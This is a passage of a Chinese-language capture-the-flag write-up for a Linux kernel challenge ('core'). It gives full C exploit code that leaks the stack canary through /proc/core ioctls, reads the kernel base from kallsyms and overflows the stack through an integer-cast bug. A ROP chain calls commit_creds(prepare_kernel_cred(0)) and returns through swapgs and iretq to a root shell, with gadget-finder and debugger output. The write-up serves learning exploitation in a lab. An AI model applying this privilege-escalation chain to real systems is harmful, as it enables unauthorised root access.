19:00c8│     0xffffc9000016fee0 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
1a:00d0│     0xffffc9000016fee8 ◂— 0xffffc9000016fee8
1b:00d8│     0xffffc9000016fef0 ◂— 0xffffc9000016fef0
1c:00e0│     0xffffc9000016fef8 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
1d:00e8│     0xffffc9000016ff00 —▸ 0xffffffff8118f28f (sys_ioctl+111) ◂— 0xffffffff8118f28f
pwndbg> x/32xg 0xffffc9000016fe58
0xffffc9000016fe58:	0x717c119b720a0b00	0x00007fff9c742820
0xffffc9000016fe68:	0xffffffffc000019b	0xffff88001fba1e40
0xffffc9000016fe78:	0xffffffff811dd6d1	0x000000000000889b
0xffffc9000016fe88:	0xffff88001f8a0000	0xffffffff8118ecfa
0xffffc9000016fe98:	0xffffc9000016fe70	0x0000000000000012
0xffffc9000016fea8:	0x0000000000000002	0xffffffff82256968
0xffffc9000016feb8:	0x000000006677889b	0xffff88001f8a0000
0xffffc9000016fec8:	0x00007fff9c742820	0x00007fff9c742820
0xffffc9000016fed8:	0xffff88001f8a0000	0xffff88001f8a0000
0xffffc9000016fee8:	0x0000000000000003	0x000000006677889b
0xffffc9000016fef8:	0x00007fff9c742820	0xffffffff8118f28f
0xffffc9000016ff08:	0x0000000000000000	0xffffc9000016ff58
0xffffc9000016ff18:	0x0000000000000000	0x0000000000000000
0xffffc9000016ff28:	0x0000000000000000	0x0000000000000000
0xffffc9000016ff38:	0xffffffff810013f6	0x0000000000000000
0xffffc9000016ff48:	0x0000000000000000	0xffffffff81a00071

tips: pwndbg 的 stack 工具在内核中似乎不是那么可靠

#include 
#include 
#include 
#include 
#include 
#include 
#include 

int set_off(int fd, unsigned long off) {
    if (ioctl(fd, 1719109788, off) == -1) {
        perror("[!] set_off ioctl failed");
        return -1;
    }
    return 0;
}

int core_read(int fd, void *copy_to_addr) {
    if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
        perror("[!] core_read ioctl failed");
        return -1;
    }
    return 0;
}

int core_copy_func(int fd, int len=-1) {
    if (ioctl(fd, 1719109786, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

int main() {
    int fd = open("/proc/core", O_RDWR);
    if (fd < 0) {
        perror("[!] open failed");
        return EXIT_FAILURE;
    }
    printf("[+] open success!\n");

    char buf1[0x40]={0};
    printf("buf1 addr: %p\n", buf1);

    // 泄露金丝雀
    set_off(fd, 0x40);  // v5 是char,偏移不是8
    core_read(fd, buf1);
    uint64_t canary = ((uint64_t*)buf1)[0];
    printf("[+] Leaked canary: 0x%lx\n", canary);
}

现在我们要想办法获取内核基地址,来进行ROP

/proc/kallsyms是Linux/proc文件系统中的一个虚拟文件,它提供了内核导出的所有符号(函数和变量)及其地址的列表。本质上,它是用户空间可以访问的内核符号表。此文件中的每一行都表示一个内核符号

[地址][类型][符号名称]
  • [address]:符号所在的内存地址。
  • [type]:表示符号类型的字符(例如,T表示文本(代码)符号,D表示初始化数据)。
  • [符号名称]:符号(函数或变量)的名称。
/ # cat /proc/kallsyms | head -n 10
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
ffffffff81000000 T startup_64
ffffffff81000000 T _stext
ffffffff81000000 T _text
ffffffff81000030 T secondary_startup_64
ffffffff810000e0 T verify_cpu
ffffffff810001e0 T start_cpu0
ffffffff810001f0 T __startup_64
ffffffff81000370 T __startup_secondary_64

startup_64 是 Linux 内核代码中的一个符号,通常与内核启动过程中的初始化代码相关。在 cat /proc/kallsyms 输出中,startup_64 对应的地址(如 ffffffff81000000)是内核的基地址。该地址表示内核加载到内存时的起始位置。

题目初始脚本将 /proc/kallsyms 写入了 /tmp/kallsyms

cat /proc/kallsyms > /tmp/kallsyms

我们可以让ai写出一个工具

#include 
#include 
#include 

#define MAX_LINE_LENGTH 1024

// 函数:从 /proc/kallsyms 获取特定符号的地址
unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[MAX_LINE_LENGTH];
    unsigned long address;
    char symbol[MAX_LINE_LENGTH];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/proc/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}

int main() {
    const char *symbol_name = "startup_64";  // 你想查找的符号名称
    unsigned long address = get_symbol_address(symbol_name);

    if (address != 0) {
        printf("Symbol '%s' address: 0x%lx\n", symbol_name, address);
    } else {
        printf("Symbol '%s' not found.\n", symbol_name);
    }

    return 0;
}

由此来获得程序基地址

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int set_off(int fd, unsigned long off) {
    if (ioctl(fd, 1719109788, off) == -1) {
        perror("[!] set_off ioctl failed");
        return -1;
    }
    return 0;
}

int core_read(int fd, void *copy_to_addr) {
    if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
        perror("[!] core_read ioctl failed");
        return -1;
    }
    return 0;
}

int core_copy_func(int fd, int len=-1) {
    if (ioctl(fd, 1719109786, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}

int main() {

    int fd = open("/proc/core", O_RDWR);
    if (fd < 0) {
        perror("[!] open failed");
        return EXIT_FAILURE;
    }
    printf("[+] open success!\n");

    // 泄露金丝雀
    char buf1[0x40]={0};
    printf("buf1 addr: %p\n", buf1);

    set_off(fd, 0x40);  // v5 是char,偏移不是8
    core_read(fd, buf1);
    uint64_t canary = ((uint64_t*)buf1)[0];

    printf("[+] Leaked canary: 0x%lx\n", canary);

    // 获取内核基地址
    uint64_t kernel_base = get_symbol_address("startup_64");
    printf("[+] kernel Base: %p\n", kernel_base);

    return 0;
}

接下来我们可以通过 core_write写入name来进行rop

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  printk(&unk_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
  printk(&unk_230);
  return 4294967282LL;
}

我们需要从vmlinux寻找rop链,并利用错误的转换来进行溢出执行commit_cred(prepare_kernel_cred(0))

prepare_kernel_cred(0)
  • 功能:生成一个内核凭证(struct cred),表示权限信息。
  • 参数含义:当参数为 0(或 NULL 时,内核会生成一个 具有 root 权限的凭证
    • 在 Linux 内核源码中,prepare_kernel_cred 的实现逻辑大致如下:
      struct cred *prepare_kernel_cred(struct task_struct *daemon) {
          if (daemon) // 如果传入有效进程描述符,则复制其权限
              return copy_cred(daemon->cred);
          else        // 如果传入 NULL,则生成 root 权限的凭证
              return create_root_cred();
      }
      
    • 因此,prepare_kernel_cred(0) 会返回一个 root 权限的 struct cred
commit_cred(new_cred)
  • 功能:将生成的凭证(new_cred)绑定到当前进程,修改其权限。
  • 提权本质:通过替换当前进程的 cred 结构体,使其权限升级为 root。

tips: 调试

gdb -q vmlinux -ex "target remote :1234" -ex "add-symbol-file core.ko 0xffffffffc0000000" -ex "b *0xffffffffc0000131" -ex "c"

tips: 你可以试着写一些自动化工具来加速rop的寻找速度

/usr/bin/python3.10 /home/a5rz/Desktop/pwn_project/codes/FindROP/FindROP_amd64.py 
[*] '/home/a5rz/Desktop/pwn_project/binary_file/vmlinux'
    Arch:       amd64-64-little
    Version:    4.15.8
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0xffffffff81000000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Loaded 514 cached gadgets for '/home/a5rz/Desktop/pwn_project/binary_file/vmlinux'
开始寻找解决方案: rdi=rax
尝试: ['pop *reg* ; ret', 'mov rdi, rax ; call *reg*']
方案可行: ['pop *reg* ; ret', 'mov rdi, rax ; call *reg*']
0x0000:            0xb2f pop rdi; ret
0x0008:              0x0 [arg0] rdi = startup_64
0x0010:          0x9cce0
0x0018:          0x21e53 pop rcx; ret
0x0020:          0x21e53 pop rcx; ret
0x0028:         0x5c0db1
0x0030:          0x9c8e0 commit_creds
成功构造commit_creds(prepare_kernel_cred(0)),现在开始构造ROP返回到用户态
尝试寻找: ['swapgs ; popfq ; ret', 'iretq']
成功:已经构造完整的内核提权链
0x0000:            0xb2f pop rdi; ret
0x0008:              0x0 [arg0] rdi = startup_64
0x0010:          0x9cce0
0x0018:          0x21e53 pop rcx; ret
0x0020:          0x21e53 pop rcx; ret
0x0028:         0x5c0db1
0x0030:          0x9c8e0 commit_creds
0x0038:         0xa012da
0x0040:              0x0 startup_64
0x0048:          0x50ac2
0x0050:           b'rip' 'rip'
0x0053:            b'cs' 'cs'
0x0055:        b'rflags' 'rflags'
0x005b:           b'rsp' 'rsp'
0x005e:            b'ss' 'ss'

我这个写的有点乱,感兴趣可以找我要代码

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int set_off(int fd, unsigned long off) {
    if (ioctl(fd, 1719109788, off) == -1) {
        perror("[!] set_off ioctl failed");
        return -1;
    }
    return 0;
}

int core_read(int fd, void *copy_to_addr) {
    if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
        perror("[!] core_read ioctl failed");
        return -1;
    }
    return 0;
}

int core_copy_func(int fd, int64_t len=0xffffffffffff0000|0x100) { // 注意转换的是 (unsigned __int16)
    if (ioctl(fd, 1719109786, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

void overflow(int fd, uint64_t *arr) {
    write(fd, arr, 0x800);
    core_copy_func(fd);
}

unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /tmp/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}

int main() {

    int fd = open("/proc/core", O_RDWR);
    if (fd < 0) {
        perror("[!] open failed");
        return EXIT_FAILURE;
    }
    printf("[+] open success!\n");

    // 泄露金丝雀
    char buf1[0x40]={0};

    set_off(fd, 0x40);  // v5 是char,偏移不是8
    core_read(fd, buf1);
    uint64_t canary = ((uint64_t*)buf1)[0];

    printf("[+] Leaked canary: 0x%lx\n", canary);

    // 获取内核基地址
    uint64_t kernel_base = get_symbol_address("startup_64");
    printf("[+] kernel Base: %p", kernel_base);

    uint64_t ROP[0x800/8] = {0};

    ROP[8] = canary;
    ROP[10] = kernel_base + 0xb2f; // pop rdi; ret
    ROP[11] = 0;// rdi
    ROP[12] = kernel_base + 0x9cce0; //prepare_kernel_cred(0)
    ROP[13] = kernel_base + 0x21e53; //pop rcx; ret
    ROP[14] = 0; // ret
    ROP[15] = kernel_base + 0x623d0b;  // mov rdi, rax; call rcx
    ROP[16] = kernel_base + 0x9c8e0; // commit_creds(prepare_kernel_cred(0))

    overflow(fd, ROP);
    return 0;
}

你可能不理解什么是用户态与内核态

我用一个餐厅的比喻来形象地理解内核态和用户态:

内核态:厨房里的厨师

  • 权限与能力:厨师(内核态)可以自由使用厨房里的所有设备(硬件资源),比如燃气灶、刀具、烤箱等。他们直接操控这些关键设备,负责烹饪食物(处理核心系统任务)。
  • 责任与风险:如果厨师操作失误(内核崩溃),可能导致整个厨房瘫痪(系统崩溃)。因此,只有经过严格培训的人(操作系统代码)才能进入厨房。
  • 专注性:厨师不会直接接待顾客,只处理服务员(系统调用)传递的订单(请求)。

用户态:餐厅的顾客区

  • 权限限制:顾客(用户程序)坐在用餐区(用户态),只能用菜单点餐(调用API),不能直接进厨房操作设备。例如,顾客想吃牛排,必须通过服务员下单,而不能自己开火煎。
  • 安全性:即使顾客不小心打翻水杯(程序错误),最多弄脏桌子(进程崩溃),不会影响厨房和其他顾客(系统和其他程序)。
  • 依赖中介:所有需求必须通过服务员(系统调用)传递。比如顾客要读写文件,就像点菜一样,由服务员通知厨房处理,完成后返回结果。

关键过程:点餐与上菜(系统调用)

  1. 顾客下单(用户程序发起请求):顾客说“我要一份沙拉”(例如程序调用 read() 读取文件)。
  2. 服务员传单(触发系统调用):服务员将订单送到厨房窗口,此时餐厅“模式切换”(用户态→内核态)。
  3. 厨师处理(内核执行):厨师用厨房设备准备沙拉(内核访问磁盘读取数据)。
  4. 送回结果(返回用户态):服务员将沙拉端给顾客(数据返回程序),餐厅恢复为顾客模式(内核态→用户态)。

为什么分两种模式?

  • 安全:防止顾客乱动灶台引发火灾(程序错误破坏硬件)。
  • 效率:由专业厨师集中管理厨房资源(CPU、内存等),避免顾客争抢设备。
  • 稳定:即使某桌顾客吵架(程序崩溃),其他桌和厨房仍能正常运作。

总结:内核态像餐厅后厨,拥有最高权限但风险集中;用户态像用餐区,方便但受限。两者通过“服务员”(系统调用)协作,兼顾安全与效率。

那我们如何从内核态中返回呢

(1) 恢复 GS 寄存器

在内核态执行 swapgs,交换 GS 寄存器的基地址,确保其指向用户态的上下文:

swapgs  ; 恢复用户态 GS 基地址
(2) 构造栈帧

内核栈中按顺序压入以下值,供 iretq 指令使用:

  1. 用户态栈指针(RSP):指向用户态栈的有效地址。
  2. 用户态代码段寄存器(CS):值为 0x23(用户态代码段选择子)。
  3. 标志寄存器(RFLAGS):通常设为 0x202(启用中断,保留标准标志)。
  4. 用户态指令指针(RIP):指向用户态代码(如执行 /bin/sh 的地址)。
  5. 用户态栈段寄存器(SS):值为 0x2B(用户态数据段选择子)。

3. 栈布局示例

假设用户态代码的入口地址为 user_rip,用户态栈指针为 user_rsp,则内核栈应布局如下(从高地址到低地址):

栈偏移 说明
+40 user_ss SS = 0x2B
+32 user_rsp 用户态栈指针
+24 user_rflags RFLAGS = 0x202
+16 user_cs CS = 0x23
+8 user_rip 用户态代码入口(如 shell)
+0 其他寄存器或数据
对应的汇编操作

通过 mov 指令或 ROP 链将值写入栈:

; 假设 rsp 指向内核栈顶
mov QWORD PTR [rsp + 0x00], user_rip   ; RIP
mov QWORD PTR [rsp + 0x08], user_cs    ; CS = 0x23
mov QWORD PTR [rsp + 0x10], user_rflags ; RFLAGS = 0x202
mov QWORD PTR [rsp + 0x18], user_rsp   ; RSP
mov QWORD PTR [rsp + 0x20], user_ss    ; SS = 0x2B
执行 iretq
iretq  ; 从栈中弹出 RIP, CS, RFLAGS, RSP, SS,切换回用户态

4. 完整流程示例

假设已通过漏洞控制内核执行流,以下为返回用户态的典型步骤:

  1. 恢复 GS 寄存器

    swapgs                 ; 恢复用户态 GS 基地址
    
  2. 设置栈帧

    ; 假设已通过溢出控制内核栈
    mov rsp, 0xffff880012345000  ; 指向构造好的内核栈地址
    ; 填充栈内容
    push 0x2B                   ; SS
    push user_rsp               ; 用户态栈指针
    push 0x202                  ; RFLAGS
    push 0x23                   ; CS
    push user_rip               ; 用户态代码入口(如 shell)
    
  3. 返回用户态

    iretq                       ; 切换回用户态
    

总结:正确布局栈的关键是构造符合 iretq 预期的栈帧,并恢复用户态的执行环境。通过精确控制 RIPRSPCSSSRFLAGS,即可安全返回用户态并执行提权后的代码。

由此写出

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int set_off(int fd, unsigned long off) {
    if (ioctl(fd, 1719109788, off) == -1) {
        perror("[!] set_off ioctl failed");
        return -1;
    }
    return 0;
}

int core_read(int fd, void *copy_to_addr) {
    if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
        perror("[!] core_read ioctl failed");
        return -1;
    }
    return 0;
}

int core_copy_func(int fd, int64_t len=0xffffffffffff0000|0x150) { // 强制转换漏洞 len被转换为 (unsigned __int16)
    if (ioctl(fd, 1719109786, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

void overflow(int fd, uint64_t *arr) {
    write(fd, arr, 0x800);
    core_copy_func(fd);
}

unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /tmp/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}

void check(){
    if(!getuid()){
        printf("you are root!\n");
        system("/bin/sh");
    }else{
        printf("you no root!\n");
    }
    exit(0);
}

int main() {

    int fd = open("/proc/core", O_RDWR);
    if (fd < 0) {
        perror("[!] open failed");
        return EXIT_FAILURE;
    }
    printf("[+] open success!\n");

    // 泄露金丝雀
    char buf1[0x40]={0};

    set_off(fd, 0x40);  // v5 是char,偏移不是8
    core_read(fd, buf1);
    uint64_t canary = ((uint64_t*)buf1)[0];

    printf("[+] Leaked canary: 0x%lx\n", canary);

    // 获取内核基地址
    uint64_t kernel_base = get_symbol_address("startup_64");
    printf("[+] kernel Base: %p\n", kernel_base);

    uint64_t ROP[0x800/8] = {0};

    ROP[8] = canary;
    ROP[10] = kernel_base + 0xb2f; // pop rdi; ret
    ROP[11] = 0;// rdi
    ROP[12] = kernel_base + 0x9cce0; //prepare_kernel_cred(0)
    ROP[13] = kernel_base + 0x21e53; // pop rcx; ret
    ROP[14] = kernel_base + 0x21e53; // pop rcx; ret
    ROP[15] = kernel_base + 0x623d0b;  // mov rdi, rax; call rcx
    ROP[16] = kernel_base + 0x9c8e0; // commit_creds(prepare_kernel_cred(0))
    ROP[17] = kernel_base + 0xa012da; // swapgs ; popfq ; ret
    ROP[18] = 0; // popfq
    ROP[19] = kernel_base + 0x50ac2; // iretq

    uint64_t user_cs, user_ss, user_rflags, user_sp;
    __asm__ __volatile__(
            "mov %%cs, %0\n\t"
            "mov %%ss, %1\n\t"
            "mov %%rsp, %2\n\t"
            "pushfq\n\t"
            "pop %3\n\t"
            : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
            :
            : "memory"
            );

    ROP[20] = (uint64_t)check; // rip
    ROP[21] = user_cs;
    ROP[22] = user_rflags;
    ROP[23] = user_sp;
    ROP[24] = user_ss;

    overflow(fd, ROP);
    return 0;
}

结束

/ # su chal
/ $ ./C_Payload
[+] open success!
[+] Leaked canary: 0xe8592fa28a75ab00
[+] kernel Base: 0xffffffff81000000
you are root!
/ # id
uid=0(root) gid=0(root)

你可能感兴趣的:(网络安全)